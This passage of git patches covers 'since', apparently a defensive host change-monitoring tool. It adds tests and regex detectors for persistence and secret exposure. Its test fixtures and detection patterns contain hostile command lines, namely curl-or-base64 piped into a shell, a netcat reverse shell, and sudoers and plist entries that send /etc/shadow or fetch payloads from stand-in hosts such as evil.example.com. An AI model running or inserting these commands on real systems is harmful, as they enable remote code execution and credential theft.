if args.json: # The baseline/corrupt-snapshot note (e.g. "N unreadable snapshot(s) skipped", # "using the oldest available") is shown to humans — surface it in --json too so diff --git a/tests/test_since.py b/tests/test_since.py index 1b4cae0..bd5f9d5 100644 --- a/tests/test_since.py +++ b/tests/test_since.py @@ -882,9 +882,11 @@ def test_trust_of_rejects_non_string_and_non_regular(tmp_path): def test_enrich_failure_degrades_one_finding_not_the_report(monkeypatch): - # program_of_plist, not trust_of: trust_of is only reached when a program was resolved, - # so patching it would have exercised nothing (the first version of this test did). - monkeypatch.setattr(since, "program_of_plist", + # Patch the function actually ON the enrichment path (plist_program_and_argv). Patching + # trust_of exercised nothing (it is only reached once a program resolves), and patching + # program_of_plist stopped exercising anything when _enrich moved to the argv-aware call — + # a test seam is only as good as its coupling to the real call graph. + monkeypatch.setattr(since, "plist_program_and_argv", lambda p: (_ for _ in ()).throw(RuntimeError("boom"))) b = snap() c = snap(collectors={"launch_items": {"~/Library/LaunchAgents/x.plist": "1:a"}}) @@ -1082,3 +1084,229 @@ def test_tool_swap_is_also_lost_coverage(): findings = since.build_findings(good, shim, skip_cats=tuple(unusable), coverage=lost) assert since.max_level(findings) >= since.ORANGE assert not [f for f in findings if f["category"] == "brew"] # still no phantom flood + + +# =========================================================================== # +# Round 2 of the v0.4.4 self-review: regressions the fix batch itself created. # +# =========================================================================== # + +# PERF-1 (CRITICAL) — the `_show` tail rescan recursed once per credential-ish key on the line. +# A 2.5KB comment of repeated `_pwd ` (under _REDACT_MAX, so truncation did not help) raised +# RecursionError, which nothing catches: the digest died before saving a snapshot, so the planted +# line stayed "added" and every later run died identically — an unprivileged one-line kill switch. +@pytest.mark.parametrize("keyword", ["_pwd", "pass", "token", "_auth", "secret"]) +def test_redact_survives_deeply_nested_keys(keyword): + line = "+# " + f"{keyword} " * 900 + t = time.time() + out = since.redact(line) # must not raise RecursionError + assert time.time() - t < 0.5, "the tail rescan is superlinear again" + assert isinstance(out, str) + + +def test_redact_depth_cap_fails_safe(): + # at the cap it must REDACT, never recurse further and never show the tail unscanned + line = "+" + "".join(f"pass{i}=x " for i in range(50)) + "MYSQL_PWD=hunter2Xyz9" + assert "hunter2Xyz9" not in since.redact(line) + + +# LEAK-1 — "one whitespace token" is not "nothing follows": a shell chains with ; && | +@pytest.mark.parametrize("line,secret", [ + ("+export SSH_ASKPASS=/tmp/a.sh;MYSQL_PWD=hunter2Xyz9", "hunter2Xyz9"), + ("+export SECRET_FILE=/etc/x/y&&TOKEN=aB3xYz9Qw2mN", "aB3xYz9Qw2mN"), + ("+export PGPASSFILE=/tmp/p|GITHUB_TOKEN=aB3xYz9Qw2mN", "aB3xYz9Qw2mN"), +]) +def test_chained_command_after_a_shown_path_is_scanned(line, secret): + assert secret not in since.redact(line) + + +# LEAK-2 — a path-VALUED key needs a real path, not merely a '/'-, '~'- or '$'-leading value +# (a base64 secret starts with '/' ~1/64 of the time; every crypt hash starts with '$'). +@pytest.mark.parametrize("line,secret", [ + ("+export SECRET_FILE=/hunter2Xyz9", "hunter2Xyz9"), + ("+export TOKEN_PATH=~hunter2Xyz9", "hunter2Xyz9"), + ("+export API_KEY_FILE=$hunter2Xyz9", "hunter2Xyz9"), + ("+export CREDENTIALS_FILE=/hunter2Xyz9", "hunter2Xyz9"), +]) +def test_path_valued_key_needs_a_real_path(line, secret): + assert secret not in since.redact(line) + + +@pytest.mark.parametrize("line", [ + "+export SSH_ASKPASS=/tmp/steal.sh", + "+export SSH_AUTH_SOCK=/tmp/.evil/agent.sock", + "+export PGPASSFILE=$HOME/.pgpass", + "+export SSH_ASKPASS=~/.local/bin/x.sh", + "+export SSH_ASKPASS=./steal.sh", +]) +def test_real_paths_are_still_shown(line): + assert since.redact(line) == line + + +# LEAK-3 / HIDE-1 — the sudoers gate checked only the FIRST element and then exempted the whole +# remainder; and routing the carve-out through the rescan redacted the granted command list, +# which is the payload of a sudoers diff. +def test_sudoers_comma_list_is_validated(): + assert "hunter2Xyz9" not in since.redact("+deva ALL=(ALL) PASSWD: ALL,hunter2Xyz9") + + +@pytest.mark.parametrize("line", [ + "+deva ALL=(ALL) NOPASSWD: /usr/bin/passwd backdoor2026", + "+deva ALL=(ALL) NOPASSWD: /usr/sbin/chpasswd attacker99", + "+deva ALL=(ALL) NOPASSWD: /bin/bash /tmp/token_stealer.sh evilc2.example.com", + "+*/5 * * * * /usr/local/bin/passwd_sync.sh --dest http://evil/x", +]) +def test_command_specs_stay_intact(line): + """Which account is reset, which host is contacted — the whole point of the diff.""" + assert since.redact(line) == line + + +# #2 — my own guard was the first code to read the BASELINE's errors/tools, without validating +# their type: the same crash class this release already fixed twice. +@pytest.mark.parametrize("field,value", [ + ("tools", ["/opt/homebrew/bin/brew"]), ("tools", "nope"), ("tools", 7), + ("errors", 5), ("errors", ["brew"]), ("errors", "brew"), +]) +def test_wrong_typed_guard_fields_do_not_crash(field, value): + base = snap(); base[field] = value + cur = snap(); cur["tools"] = {"brew": "/opt/homebrew/bin/brew"} + unusable = since.unusable_cats(base, cur) # must not raise + since.coverage_lost(base, cur, unusable) # must not raise + since.build_findings(base, cur, skip_cats=tuple(unusable)) + + +# #3 — need() proves a tool RESOLVES, never that it RAN. A `brew list` timeout returned "" with +# no error recorded, so the capability guard could not fire and the phantom flood came back — +# the very cause the guard was introduced for. +def test_run_checked_raises_on_timeout_and_failure(monkeypatch): + def fake(cmd, **kw): + raise since.subprocess.TimeoutExpired(cmd, kw.get("timeout", 1)) + monkeypatch.setattr(since.subprocess, "run", fake) + with pytest.raises(since.ToolUnavailable): + since.run_checked(["brew", "list"], timeout=1) + + +def test_run_checked_tolerates_nonzero_with_output(monkeypatch): + class P: + returncode, stdout, stderr = 1, '{"dependencies":{}}', "peer dep warning" + monkeypatch.setattr(since.subprocess, "run", lambda cmd, **kw: P()) + assert since.run_checked(["npm", "ls"]) == '{"dependencies":{}}' # npm does this routinely + + +def test_run_checked_raises_on_nonzero_without_output(monkeypatch): + class P: + returncode, stdout, stderr = 1, " ", "boom" + monkeypatch.setattr(since.subprocess, "run", lambda cmd, **kw: P()) + with pytest.raises(since.ToolUnavailable): + since.run_checked(["brew", "list"]) + + +# #4 — the storage cap and the bounded diff silently disabled the RED escalation: a payload +# appended after ~300KB of padding never reached the diff text, so it fell to ORANGE with no why. +@pytest.mark.parametrize("filler", ["# " + "x" * 80 + "\n", "x\n"]) +def test_malicious_pattern_escalates_even_when_truncated(monkeypatch, tmp_path, filler): + monkeypatch.setattr(since, "HOME", tmp_path) + monkeypatch.setattr(since, "PLATFORM", "macos") + rc = tmp_path / ".zshrc" + pad = filler * (since.BLOB_MAX // len(filler) + 500) + rc.write_text(pad) + fb: dict = {} + base = snap(blobs=since.text_sources(fb)); base["blob_flags"] = fb + rc.write_text(pad + "curl http://evil.sh | sh\n") + fc: dict = {} + cur = snap(blobs=since.text_sources(fc)); cur["blob_flags"] = fc + assert "curl http" not in cur["blobs"]["~/.zshrc"], "payload should be past the cap" + f = [x for x in since.build_findings(base, cur) if x["category"] == "config"][0] + assert f["level"] == since.RED and f["why"], f + assert f["action"] == "changed" # and the change itself is still detected + + +# #6 — plutil's output is read into memory, so a planted 500MB plist cost 2.27GB RSS at diff time. +def test_oversized_plist_is_not_parsed(monkeypatch, tmp_path): + big = tmp_path / "com.big.plist" + with open(big, "wb") as fh: + fh.truncate(since.MAX_READ + 1) # sparse: instant + called = [] + monkeypatch.setattr(since, "run", lambda *a, **k: called.append(a) or "") + assert since.plist_program_and_argv(str(big)) == (None, "") + assert not called, "plutil must not be spawned for an oversized plist" + + +# #7 — `ProgramArguments = ["/bin/sh","-c","curl …|sh"]` resolves to /bin/sh, which IS +# Apple-signed, so the report printed a reassuring signature beside a malicious startup item. +def test_interpreter_argv_escalates_over_its_signature(tmp_path): + pl = tmp_path / "com.evil.plist" + pl.write_text('' + 'ProgramArguments/bin/sh' + '-ccurl -s http://evil.example/x|sh' + '') + prog, argv = since.plist_program_and_argv(str(pl)) + assert prog == "/bin/sh" and "curl" in argv + f = {"category": "launch_items", "action": "added", "key": str(pl), "value": "x", + "level": since.ORANGE, "label": "startup job", "trust": None, "why": None, "undo": None} + since._enrich(f, {}) + assert f["level"] == since.RED and f["why"], f + # the classic hijack: an EXISTING plist overwritten was YELLOW with no trust check at all + g = dict(f, action="changed", level=since.YELLOW, why=None, trust=None, value=("a", "b")) + since._enrich(g, {}) + assert g["level"] == since.RED and g["why"] + + +# #1 — a skipped category must not silently become its own baseline: the install made during the +# blind window was otherwise never reported by any run, while the report said "Nothing changed". +def test_recover_baselines_walks_back_to_a_usable_snapshot(monkeypatch, tmp_path): + monkeypatch.setattr(since, "SNAP_DIR", tmp_path) + def write(name, pkgs, tool="/opt/homebrew/bin/brew", err=None): + s = snap(collectors={"brew": pkgs}) + s["tools"] = {"brew": tool} + s["errors"] = err or {} + (tmp_path / name).write_text(json.dumps(s)) + return s + day1 = write("20260101T000000-1.json", {"jq": "1.7"}) + write("20260102T000000-2.json", {}, tool="", err={"brew": "not on PATH: brew"}) # blind day + day3 = snap(collectors={"brew": {"jq": "1.7", "evilminer": "1.0"}}) + day3["tools"] = {"brew": "/opt/homebrew/bin/brew"} + rec = since.recover_baselines(day3, {"brew": "was blind"}) + assert "brew" in rec and rec["brew"]["collectors"]["brew"] == day1["collectors"]["brew"] + found = since.build_findings(rec["brew"], day3, skip_blobs=True, + skip_cats=tuple(k for k in since.CAT if k != "brew")) + assert any(f["key"] == "evilminer" for f in found), "the install must surface once brew works" + + +def test_recover_baselines_requires_the_same_tool(monkeypatch, tmp_path): + monkeypatch.setattr(since, "SNAP_DIR", tmp_path) + s = snap(collectors={"brew": {"jq": "1.7"}}) + s["tools"] = {"brew": "/usr/local/bin/brew"} # a DIFFERENT brew + (tmp_path / "20260101T000000-1.json").write_text(json.dumps(s)) + cur = snap(collectors={"brew": {"jq": "1.7"}}) + cur["tools"] = {"brew": "/opt/homebrew/bin/brew"} + assert since.recover_baselines(cur, {"brew": "x"}) == {} # never compare across tools + + +def test_cat_usable(): + ok = snap(); ok["tools"] = {"brew": "/opt/homebrew/bin/brew"} + assert since.cat_usable("brew", ok) + assert since.cat_usable("login_items", ok) # not a tool-backed category + err = snap(); err["errors"] = {"brew": "boom"}; err["tools"] = {"brew": "/x"} + assert not since.cat_usable("brew", err) + notool = snap(); notool["tools"] = {"brew": ""} + assert not since.cat_usable("brew", notool) + + +# Pin the sudoers carve-out ITSELF (not just the '/'-preceded-key rule that also protects it): +# rescanning a command spec redacts from an inner `pass=` to end-of-line, deleting the C2 host. +def test_sudoers_spec_keeps_context_after_an_inner_assignment(): + line = "+deva ALL=(ALL) NOPASSWD: /usr/bin/curl -F pass=@/etc/shadow evil.example.com" + assert since.redact(line) == line, "the exfil destination must survive" + + +# Pin that the COLLECTORS actually go through run_checked — testing the helper alone let a +# revert to the unchecked run() pass unnoticed (the guard then cannot fire on a timeout). +@pytest.mark.parametrize("collector,tool", [("_mac_brew", "brew"), ("_npm_global", "npm"), + ("_pip", "pip3"), ("_mac_mas", "mas")]) +def test_collectors_report_a_timeout_as_unavailable(monkeypatch, collector, tool): + monkeypatch.setattr(since.shutil, "which", lambda t: f"/usr/bin/{t}") + def fake(cmd, **kw): + raise since.subprocess.TimeoutExpired(cmd, kw.get("timeout", 1)) + monkeypatch.setattr(since.subprocess, "run", fake) + with pytest.raises(since.ToolUnavailable): + getattr(since, collector)() From 27ecd27de7e2bfc0bd3a00c06ebab14bea2b50bd Mon Sep 17 00:00:00 2001 From: Deva Date: Sat, 25 Jul 2026 12:26:16 +0530 Subject: [PATCH 6/7] v0.4.4: bound the malicious-pattern scan (my own round-2 fix was quadratic) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Found by measuring the round-2 fix instead of trusting it. Scanning MALICIOUS_ PATTERNS over full file content (so a payload past BLOB_MAX still escalates to RED) fed two unbounded `.*` runs up to 8MB, and those are quadratic in the number of trigger tokens on a single line: repeated `base64 -d ` measured 4x tokens -> 16x time, 55s at 375KB, extrapolating to hours at MAX_READ — at SNAPSHOT time, before anything is saved, i.e. another silent watchdog death from one planted line. Latent in the pre-v0.4.4 diff-text escalation path as well. Both patterns now use bounded runs ([^\n]{0,400}?) — a real decode-and-run chain is adjacent, not megabytes apart — and the scan is line-wise with a per-line cap, so a future pattern with an unbounded run cannot reopen it. Flat ~3ms regardless of token count (was 55s), 8MB benign file 505ms, 8MB adversarial single line 4ms, and every real payload still detected. A test asserts no pattern contains `.*`. Suite 221 -> 227; mutations X1 (unbound the pattern) and X2 (scan the whole blob at once) both caught. Co-Authored-By: Claude --- CHANGELOG.md | 8 +++++++- README.md | 2 +- since.py | 23 ++++++++++++++++++++--- tests/test_since.py | 26 ++++++++++++++++++++++++++ 4 files changed, 54 insertions(+), 5 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index e2c924e..9e0aec8 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,7 +6,7 @@ All notable changes to `since`. Format loosely follows Keep a Changelog. A security release fixing **16 issues found by reviewing v0.4.3 itself** — each reproduced by execution before being fixed, and each pinned by a regression test that was *mutation-tested* -(revert the fix, confirm the test fails: **24/24 caught**). Suite 129 → **221**. Most of these sat +(revert the fix, confirm the test fails: **24/24 caught**). Suite 129 → **227**. Most of these sat behind an architectural blind spot rather than inside any one function: - Every previous audit round hardened the **snapshot** boundary; **diff-time enrichment had no @@ -103,6 +103,12 @@ mutation-tested regression test (40/40 mutations caught cumulatively): - **The storage cap silently disabled RED escalation.** A payload appended past `BLOB_MAX` (or past the diff cap) never reached the diff text, so a `curl | sh` line fell to ORANGE with no `why`. Malicious patterns are now scanned over the *full* content at snapshot time and diffed as flags. +- **The new full-content scan re-opened a quadratic DoS** (found by measuring my own round-2 fix + rather than trusting it): two malicious-pattern regexes used unbounded `.*`, which is quadratic + in the number of trigger tokens on one line — a planted line of repeated `base64 -d ` cost 55s at + 375 KB and hours at `MAX_READ`, at **snapshot** time, before anything is saved. The runs are now + bounded and the scan is line-wise with a per-line cap: flat ~3 ms regardless of token count, + detection unchanged. This was latent in the pre-v0.4.4 diff-text path too. - **`plutil` was handed unbounded input** at diff time (a 500 MB plist measured 2.27 GB RSS); the plist is size-gated now, like every collector read. - **A malicious LaunchAgent was labelled "signature: Apple-signed".** `ProgramArguments = diff --git a/README.md b/README.md index 9b748f9..4dada61 100644 --- a/README.md +++ b/README.md @@ -212,7 +212,7 @@ silent changes visible. ```sh python3 -m pip install pytest -python3 -m pytest # 221 unit tests: diff/severity/time logic, injection-safety, +python3 -m pytest # 227 unit tests: diff/severity/time logic, injection-safety, # privilege guard, corruption tolerance, secret redaction ``` diff --git a/since.py b/since.py index 543b958..34f14b2 100755 --- a/since.py +++ b/since.py @@ -1072,6 +1072,20 @@ def backend_for(cat_key: str): # text files whose *contents* we track, so we can show the exact line that changed +def malicious_hits(text: str) -> set: + """Descriptions of every malicious pattern present in `text`, scanned LINE BY LINE with a + per-line cap. These patterns are line-oriented, and one `search()` over a whole blob (up to + MAX_READ) was quadratic in the number of trigger tokens on a single line. Bounding the line + length here AND the patterns' own runs above keeps the scan linear.""" + hits = set() + for line in text.splitlines(): + line = line[:_REDACT_MAX] + for pat, desc in MALICIOUS_PATTERNS: + if desc not in hits and pat.search(line): + hits.add(desc) + return hits + + def text_sources(flags: dict | None = None) -> dict[str, str]: out: dict[str, str] = {} @@ -1083,7 +1097,7 @@ def add(label, content): # still detected (the sha covers everything) but it silently fell RED -> ORANGE and # lost its "why". Flags are diffed separately, so escalation survives truncation. if flags is not None: - hits = sorted({desc for pat, desc in MALICIOUS_PATTERNS if pat.search(content)}) + hits = sorted(malicious_hits(content)) if hits: flags[label] = hits if len(content) > BLOB_MAX: @@ -1142,8 +1156,11 @@ def add(label, content): (re.compile(r"curl[^\n|]*\|\s*(ba)?sh", re.I), "pipes a download straight into a shell"), (re.compile(r"wget[^\n|]*\|\s*(ba)?sh", re.I), "pipes a download straight into a shell"), (re.compile(r"(ba)?sh\s+<\(\s*(curl|wget)", re.I), "runs a download via process substitution"), - (re.compile(r"\bbase64\b\s+-{1,2}d\w*.*\|\s*(ba)?sh", re.I), "decodes base64 and runs it"), - (re.compile(r"\bnc\b.*-e\b", re.I), "netcat reverse shell"), + # bounded runs, not `.*`: unbounded, these were quadratic in the number of trigger tokens + # on one line — a planted line of repeated `base64 -d ` cost 55s at 375KB and hours at + # MAX_READ, at SNAPSHOT time. A real decode-and-run chain is adjacent, not megabytes apart. + (re.compile(r"\bbase64\b\s+-{1,2}d\w*[^\n]{0,400}?\|\s*(ba)?sh", re.I), "decodes base64 and runs it"), + (re.compile(r"\bnc\b[^\n]{0,400}?-e\b", re.I), "netcat reverse shell"), (re.compile(r"^\s*0\.0\.0\.0\s+\S*[a-z]", re.I | re.M), "redirects a real domain (hosts)"), # 127.0.0.1 mapping a real domain (not localhost/broadcasthost) — phishing redirect (re.compile(r"^\s*127\.0\.0\.1\s+(?!localhost|broadcasthost)\S*\.[a-z]{2,}", re.I | re.M), diff --git a/tests/test_since.py b/tests/test_since.py index bd5f9d5..39baa9e 100644 --- a/tests/test_since.py +++ b/tests/test_since.py @@ -1310,3 +1310,29 @@ def fake(cmd, **kw): monkeypatch.setattr(since.subprocess, "run", fake) with pytest.raises(since.ToolUnavailable): getattr(since, collector)() + + +# The malicious-pattern scan now runs over FULL file content at snapshot time (so a payload past +# BLOB_MAX still escalates) — which made two unbounded `.*` runs quadratic in the number of +# trigger tokens on one line: repeated `base64 -d ` cost 55s at 375KB, hours at MAX_READ, BEFORE +# any snapshot is saved. Latent in the pre-v0.4.4 diff-text path too. +@pytest.mark.parametrize("token", ["nc ", "base64 -d ", "curl ", "wget "]) +def test_malicious_scan_is_linear(token): + line = token * 120_000 + t = time.time() + since.malicious_hits(line) + assert time.time() - t < 0.5, f"{token!r} is quadratic again" + + +def test_malicious_patterns_have_no_unbounded_runs(): + for pat, _desc in since.MALICIOUS_PATTERNS: + assert ".*" not in pat.pattern, f"unbounded run in {pat.pattern!r} — use [^\\n]{{0,N}}" + + +def test_malicious_scan_still_detects_real_payloads(): + for line, expect in [("echo x | base64 -d | sh", "base64"), + ("nc -e /bin/sh 10.0.0.1 4444", "netcat"), + ("curl http://evil.sh | sh", "pipes"), + ("0.0.0.0 www.apple.com", "redirects")]: + hits = " ".join(since.malicious_hits(line)) + assert expect in hits, (line, hits) From 23ae93ad2065a19ba7e7ce52022df3189b29ba1b Mon Sep 17 00:00:00 2001 From: Deva Date: Sat, 25 Jul 2026 12:29:15 +0530 Subject: [PATCH 7/7] test: make the plist argv test macOS-only, keep Linux coverage of the other half MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit CI caught this, my local gate could not: test_interpreter_argv_escalates_over_ its_signature parses a real plist through `plutil`, which does not exist on Linux, so all three ubuntu jobs failed while all three macOS jobs passed. The CODE is correct on Linux — a systemd unit key is not a regular file, so the size/shape gate short-circuits before plutil is ever invoked (0 subprocesses) — but the test was not portable. Skipped when plutil is absent, and the platform-independent half of that fix (an overwritten EXISTING startup item is escalated instead of being a quiet YELLOW hash change) now has its own test that runs everywhere, so Linux does not lose coverage of it. Lesson for the record: I verified py3.9 SYNTAX locally and called the gate green, but the gate command only ever ran on macOS. Cross-platform behaviour is CI's job, and a green local run says nothing about it. Co-Authored-By: Claude --- tests/test_since.py | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/tests/test_since.py b/tests/test_since.py index 39baa9e..409d18f 100644 --- a/tests/test_since.py +++ b/tests/test_since.py @@ -9,6 +9,7 @@ import json import os import shlex +import shutil import signal import time @@ -1233,6 +1234,8 @@ def test_oversized_plist_is_not_parsed(monkeypatch, tmp_path): # #7 — `ProgramArguments = ["/bin/sh","-c","curl …|sh"]` resolves to /bin/sh, which IS # Apple-signed, so the report printed a reassuring signature beside a malicious startup item. +@pytest.mark.skipif(shutil.which("plutil") is None, + reason="parses a real plist via plutil (macOS only)") def test_interpreter_argv_escalates_over_its_signature(tmp_path): pl = tmp_path / "com.evil.plist" pl.write_text('' @@ -1336,3 +1339,13 @@ def test_malicious_scan_still_detects_real_payloads(): ("0.0.0.0 www.apple.com", "redirects")]: hits = " ".join(since.malicious_hits(line)) assert expect in hits, (line, hits) + + +def test_changed_persistence_item_is_escalated_everywhere(monkeypatch): + """The other half of the hijack fix, with no plutil dependency: overwriting an EXISTING + startup item used to be a quiet YELLOW hash change. Must hold on Linux (systemd units) too.""" + monkeypatch.setattr(since, "trust_of", lambda p: (None, False)) + b = snap(collectors={"launch_items": {"nginx.service": "enabled [aaaa]"}}) + c = snap(collectors={"launch_items": {"nginx.service": "enabled [bbbb]"}}) + f = next(x for x in since.build_findings(b, c) if x["category"] == "launch_items") + assert f["action"] == "changed" and f["level"] >= since.ORANGE